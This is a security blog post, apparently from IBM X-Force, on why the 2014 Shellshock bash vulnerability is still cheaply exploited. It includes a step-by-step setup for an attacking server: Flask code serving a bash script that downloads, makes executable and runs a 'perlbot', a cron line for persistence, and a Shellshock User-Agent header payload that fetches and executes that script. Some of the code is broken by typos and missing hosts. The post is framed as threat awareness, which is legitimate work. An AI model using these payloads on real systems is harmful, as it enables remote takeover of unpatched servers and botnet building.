We have all heard of Shellshock. For those who are not aware, Shellshock is a Linux-targeting vulnerability that was discovered in late 2014 and published as CVE-2014-6271.

The exploit was found within the bourne-again shell (BASH), which was the default command shell on almost every Linux and Unix system back then. It enables attackers to execute commands with super-user privileges remotely.

Bargain Bin for Bad Actors

Since many applications rely on the BASH, the most common attack method is to send a command sequence to the web server to be interpreted with the BASH.

That said, why is Shellshock still in use? The answer is simple: It’s a very cheap attack. Although servers could have been patched for more than two years now, studies have shown that some remain vulnerable.

Attackers need only a server, basic programming skills and access to malware to carry out this type of attack. The level of knowledge and effort required is quite low. Fraudsters can simply launch attacks against hundreds of different IP addresses per minute and wait to hit a vulnerable server by chance. Furthermore, a Shellshock attack can be carried out for the low price of 4.95 euros, or just a little more than $5, a month.

Setting Up a Shellshock Attack

Let’s walk through the setup of an attacking server. First we need a web server to host our malicious code. We could set up our own Apache or lighthttp server. For this example, however, we will use some basic Python code — namely, Python Flask — just to speed up the setup phase of our attacking server.

On the main page, we will return a shell script that we would like to have executed on the target server, so we can always adjust our code without the need to change our attack script:

import flask

@app.route(“/”)

def main_site():

return ”’#/bin/bash

curl /perlbot > /usr/local/perlbot
chmod +x /usr/local/perbot
/usr/local/perlbot”’

The bash script is simple:

  1. Download the perbot from this server and save it to a certain path.
  2. Make the file executable.
  3. Execute it.

For the sake of persistence, we could add a line to execute our bot after every reboot. For example:

echo ” @reboot /usr/local/perlbot” > /etc/cron.d/daily

Now we need to get the target to execute this BASH script and prepare the statement to exploit the Shellshock vulnerability:

curl -H “User-Agent: () { :; }; curl > myscript.sh ; sh myscrypt.sh”

Curl will download the BASH script, save it as myscript.sh and execute it afterwards. The final step is to have a downloadable file to add a simple function to our web server:

@app.route(‘/perlbot’, methods=[‘GET’, ‘POST’])
def download(filename):
uploads = os.path.join(current_app.root_path, app.config[‘UPLOAD_FOLDER’])
return send_from_directory(directory=uploads, filename=”perlbot”)

Finally, we are done.

Simple Math

With some more scripting effort, you could easily execute the curl statement against a full network range, or even the whole internet, but it will take a while.

In the end, it is simple math. Statistics show that about 10 percent of all servers are not patched. So let’s say we can attack 1 million servers in six months. That equates to 100,000 bots at a price of 29.70 euros (about $31) — certainly cheap enough to be worth a cybercriminal’s time.

Read the X-Force Research Report: Beware of older cyber attacks

More from Software Vulnerabilities

X-Force releases detection & response framework for managed file transfer software

5 min read - How AI can help defenders scale detection guidance for enterprise software tools If we look back at mass exploitation events that shook the security industry like Log4j, Atlassian, and Microsoft Exchange when these solutions were actively being exploited by attackers, the exploits may have been associated with a different CVE, but the detection and response guidance being released by the various security vendors had many similarities (e.g., Log4shell vs. Log4j2 vs. MOVEit vs. Spring4Shell vs. Microsoft Exchange vs. ProxyShell vs.…

MSMQ QueueJumper (RCE Vulnerability): An in-depth technical analysis

13 min read - The security updates released by Microsoft on April 11, 2023, addressed over 90 individual vulnerabilities. Of particular note was CVE-2023-21554, dubbed QueueJumper, a remote code execution vulnerability affecting the Microsoft Message Queueing (MSMQ) service. MSMQ is an optional Windows component that enables applications to exchange messages via message queues that are reachable both locally and remotely. This analysis was performed in collaboration with the Randori and X-Force Adversary Services teams, by Valentina Palmiotti, Fabius Watson, and Aaron Portnoy. Research motivations…

X-Force prevents zero day from going anywhere

8 min read - This blog was made possible through contributions from Fred Chidsey and Joseph Lozowski. The 2023 X-Force Threat Intelligence Index shows that vulnerability discovery has rapidly increased year-over-year and according to X-Force’s cumulative vulnerability and exploit database, only 3% of vulnerabilities are associated with a zero day. X-Force often observes zero-day exploitation on Internet-facing systems as a vector for initial access however, X-Force has also observed zero-day attacks leveraged by attackers to accomplish their goals and objectives after initial access was…

Topic updates

Get email updates and stay ahead of the latest threats to the security landscape, thought leadership and research.
Subscribe today